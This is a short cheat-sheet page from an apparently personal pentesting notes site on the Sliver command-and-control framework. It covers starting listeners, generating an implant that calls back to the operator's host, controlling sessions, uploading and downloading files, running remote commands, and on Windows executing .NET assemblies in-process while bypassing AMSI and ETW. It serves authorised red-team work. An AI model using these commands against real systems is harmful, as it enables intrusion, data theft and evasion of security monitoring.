> For the complete documentation index, see [llms.txt](https://notes.incendium.rocks/pentesting-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.incendium.rocks/pentesting-notes/windows-pentesting/tools/sliver-c2.md).

# Sliver C2

<figure><img src="/files/3DCTcQNpm9T3n1m0fzwb" alt=""><figcaption></figcaption></figure>

## Setup

```bash
# Start Sliver service
sudo systemctl start sliver

# Start Sliver server
sliver

# Start listening job on http(s)
http
https

# Generate implant for https / http
generate --http <my_host>
```

## General Commands

```bash
# List sessions
sessions

# Use session
use <session_id>

# Rename session
rename <name>

# Download / Upload
download <path-remote-file>
upload <path-local-file>

# Execute command and see output
execute -o <program> <arguments>
```

## Windows commands

```bash
# Execute assembly in same process + bypass AMSI and ETW (only .NET)
execute-assembly -i -M -E /path/to/local/file.exe <arguments>

# Side load executable to process
sideload /path/to/local/file.exe <arguments>
```